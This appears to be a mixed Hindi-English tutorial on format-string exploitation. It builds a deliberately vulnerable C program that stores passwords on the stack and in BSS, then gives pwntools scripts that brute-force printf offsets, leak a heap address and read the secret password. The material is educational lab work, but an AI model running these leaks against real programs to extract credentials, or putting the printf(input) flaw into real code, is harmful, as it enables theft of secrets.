from pwn import*p =process('./fs-read')payload =f"%11$s|||||".encode()payload +=p64(0x00400000)p.sendline(payload)log.info(p.clean())
ऑफसेट 11 है क्योंकि कई A सेट करने और ब्रूट-फोर्सिंग करने से 0 से 50 तक के लूप में यह पाया गया कि ऑफसेट 11 पर और 5 अतिरिक्त वर्णों (हमारे मामले में पाइप |) के साथ, एक पूर्ण पते को नियंत्रित करना संभव है।
मैंने %11$p का उपयोग किया पैडिंग के साथ ताकि पता पूरी तरह से 0x4141414141414141 हो।
फॉर्मेट स्ट्रिंग पेलोड पता से पहले है क्योंकि printf एक नल बाइट पर पढ़ना बंद कर देता है, इसलिए यदि हम पता भेजते हैं और फिर फॉर्मेट स्ट्रिंग, तो printf कभी भी फॉर्मेट स्ट्रिंग तक नहीं पहुंचेगा क्योंकि एक नल बाइट पहले ही मिल जाएगी।
चयनित पता 0x00400000 है क्योंकि यहीं बाइनरी शुरू होती है (कोई PIE नहीं)
पासवर्ड पढ़ें
#include<stdio.h>#include<string.h>char bss_password[20] ="hardcodedPassBSS"; // Password in BSSintmain() {char stack_password[20] ="secretStackPass"; // Password in stackchar input1[20], input2[20];printf("Enter first password: ");scanf("%19s", input1);printf("Enter second password: ");scanf("%19s", input2);// Vulnerable printfprintf(input1);printf("\n");// Check both passwordsif (strcmp(input1, stack_password)==0&&strcmp(input2, bss_password)==0) {printf("Access Granted.\n");} else {printf("Access Denied.\n");}return0;}
इसे संकलित करें:
clang-ofs-readfs-read.c-Wno-format-security
स्टैक से पढ़ें
stack_password स्टैक में संग्रहीत होगा क्योंकि यह एक स्थानीय चर है, इसलिए स्टैक की सामग्री दिखाने के लिए printf का दुरुपयोग करना पर्याप्त है। यह पहले 100 स्थानों को BF करने के लिए एक एक्सप्लॉइट है ताकि स्टैक से पासवर्ड लीक हो सकें:
from pwn import*for i inrange(100):print(f"Try: {i}")payload =f"%{i}$s\na".encode()p =process("./fs-read")p.sendline(payload)output = p.clean()print(output)p.close()
In the image it's possible to see that we can leak the password from the stack in the 10th position:
डेटा पढ़ें
Running the same exploit but with %p instead of %s it's possible to leak a heap address from the stack at %25$p. Moreover, comparing the leaked address (0xaaaab7030894) with the position of the password in memory in that process we can obtain the addresses difference:
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
from pwn import*defleak_heap(p):p.sendlineafter(b"first password:", b"%5$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)for i inrange(30):p =process("./fs-read")heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")password_addr = heap_leak_addr -0x126aprint(f"Try: {i}")payload =f"%{i}$p|||".encode()payload +=b"AAAAAAAA"p.sendline(payload)output = p.clean()print(output.decode("utf-8"))p.close()
और यह संभव है कि try 14 में उपयोग किए गए पासिंग के साथ हम एक पते को नियंत्रित कर सकते हैं:
Exploit
from pwn import*p =process("./fs-read")defleak_heap(p):# At offset 25 there is a heap leakp.sendlineafter(b"first password:", b"%25$p")p.recvline()response = p.recvline().strip()[2:] #Remove new line and "0x" prefixreturnint(response, 16)heap_leak_addr =leak_heap(p)print(f"Leaked heap: {hex(heap_leak_addr)}")# Offset calculated from the leaked position to the possition of the pass in memorypassword_addr = heap_leak_addr +0x1f7bcprint(f"Calculated address is: {hex(password_addr)}")# At offset 14 we can control the addres, so use %s to read the string from that addresspayload =f"%14$s|||".encode()payload +=p64(password_addr)p.sendline(payload)output = p.clean()print(output)p.close()